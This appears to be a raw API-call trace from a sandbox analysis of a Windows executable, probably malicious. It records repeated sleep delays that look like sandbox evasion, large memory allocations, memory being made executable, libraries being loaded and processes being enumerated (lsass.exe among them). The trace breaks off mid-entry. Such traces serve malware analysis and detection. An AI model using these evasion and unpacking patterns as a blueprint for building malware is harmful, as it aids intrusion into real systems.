0x0 [0109.164] GetLastError () returned 0x6 [0109.174] GetModuleHandleA (lpModuleName="6Ur1QHeM82M1hW8ujI7oJN0Iy") returned 0x0 [0109.174] GetProcAddressForCaller () returned 0x0 [0109.174] GetLocalTime (in: lpSystemTime=0x486cbc | out: lpSystemTime=0x486cbc*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x5, wDay=0xc, wHour=0x0, wMinute=0x3, wSecond=0x1f, wMilliseconds=0x2f0)) [0109.174] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0109.785] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0110.449] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0111.126] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0111.765] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0112.410] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0113.043] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0113.656] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0114.262] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0114.871] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0115.493] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0116.130] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0116.737] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0117.364] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0117.971] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0118.576] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0119.230] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0119.872] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0120.544] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0121.153] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0121.772] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0122.385] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0122.991] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0123.622] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0124.241] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0124.872] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0125.479] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0126.086] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0126.690] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0127.299] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0127.909] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0128.517] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0129.127] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0129.751] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0130.379] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0131.001] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0131.652] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0132.260] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0132.868] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0133.476] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0134.084] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0134.684] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0135.293] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0135.903] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0136.513] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0137.121] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0137.739] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0138.372] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0138.986] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0139.590] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0140.200] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0140.809] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0141.419] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0142.028] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0142.637] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0143.247] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0143.841] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0144.888] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0145.490] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0146.102] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0146.725] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0147.365] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0148.005] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0148.616] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0149.247] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0149.889] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0150.507] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0151.117] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0151.725] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0152.335] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0152.960] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0153.569] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0154.169] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0154.768] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0155.378] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0155.987] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0156.627] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0157.221] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0157.831] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0158.500] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0159.097] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0159.707] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0160.316] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0160.925] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0161.535] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0162.145] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0162.754] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0163.368] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0163.972] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0164.582] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0165.191] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0165.814] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0166.487] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0167.087] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0167.696] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0168.300] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0168.901] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0169.505] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0170.115] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0170.725] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0171.343] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0171.971] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0172.573] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0173.179] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0173.781] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0174.390] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0174.989] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0175.600] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0176.208] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0176.818] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0177.447] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0178.051] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0178.666] SleepEx (dwMilliseconds=0x252, bAlertable=0) returned 0x0 [0179.270] ValidateHwnd () returned 0x0 [0179.365] VirtualAlloc (lpAddress=0x0, dwSize=0x1eab0000, flAllocationType=0x2000, flProtect=0x1) returned 0x31c0000 [0179.377] VirtualAlloc (lpAddress=0x31c0000, dwSize=0x1eaac000, flAllocationType=0x1000, flProtect=0x4) returned 0x31c0000 [0181.042] ValidateHwnd () returned 0x0 [0181.042] VirtualFree (lpAddress=0x31c0000, dwSize=0x1eaac000, dwFreeType=0x4000) returned 1 [0182.629] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0183.965] ValidateHwnd () returned 0x0 [0183.965] ValidateHwnd () returned 0x0 [0183.965] ValidateHwnd () returned 0x0 [0183.965] ValidateHwnd () returned 0x0 [0183.965] ValidateHwnd () returned 0x0 [0183.965] ValidateHwnd () returned 0x0 [0183.966] ValidateHwnd () returned 0x0 [0183.966] ValidateHwnd () returned 0x0 [0183.966] ValidateHwnd () returned 0x0 [0183.966] ValidateHwnd () returned 0x0 [0183.966] ValidateHwnd () returned 0x0 [0183.966] ValidateHwnd () returned 0x0 [0183.966] ValidateHwnd () returned 0x0 [0183.966] ValidateHwnd () returned 0x0 [0183.966] ValidateHwnd () returned 0x0 [0183.983] ValidateHwnd () returned 0x0 [0183.983] ValidateHwnd () returned 0x0 [0183.983] ValidateHwnd () returned 0x0 [0183.983] ValidateHwnd () returned 0x0 [0183.983] ValidateHwnd () returned 0x0 [0183.983] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.984] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.985] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.986] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.987] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.988] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.989] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.990] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.991] ValidateHwnd () returned 0x0 [0183.992] ValidateHwnd () returned 0x0 [0183.992] ValidateHwnd () returned 0x0 [0183.992] ValidateHwnd () returned 0x0 [0183.992] ValidateHwnd () returned 0x0 [0183.992] ValidateHwnd () returned 0x0 [0183.992] ValidateHwnd () returned 0x0 [0183.992] ValidateHwnd () returned 0x0 [0183.992] ValidateHwnd () returned 0x0 [0183.992] ValidateHwnd () returned 0x0 [0183.992] ValidateHwnd () returned 0x0 [0184.002] VirtualAlloc (lpAddress=0x2ee4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2ee4000 [0184.002] VirtualProtect (in: lpAddress=0x2ee1764, dwSize=0x5a19, flNewProtect=0x40, lpflOldProtect=0x19fe50 | out: lpflOldProtect=0x19fe50*=0x4) returned 1 [0184.004] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xb10000 [0184.008] LoadLibraryA (lpLibFileName="shell32") returned 0x76480000 [0184.008] LoadLibraryA (lpLibFileName="user32") returned 0x74b70000 [0184.009] LoadLibraryA (lpLibFileName="advapi32") returned 0x761b0000 [0184.009] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xb20000 [0184.010] VirtualAlloc (lpAddress=0x0, dwSize=0x8000005, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0186.696] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.408] VirtualAlloc (lpAddress=0x0, dwSize=0x101d0, flAllocationType=0x3000, flProtect=0x4) returned 0xb30000 [0187.409] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274 [0187.416] Process32FirstW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.417] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0187.418] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0187.419] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0187.420] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0187.421] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0187.422] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0187.423] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0187.424] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0187.425] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.426] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0187.484] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0187.485] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.486] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0187.487] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.488] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.489] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.490] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.491] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.492] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.493] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.494] Process32NextW (in: hSnapshot=0x274, lppe=0x19f76c | out: lppe=0x19f76c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, 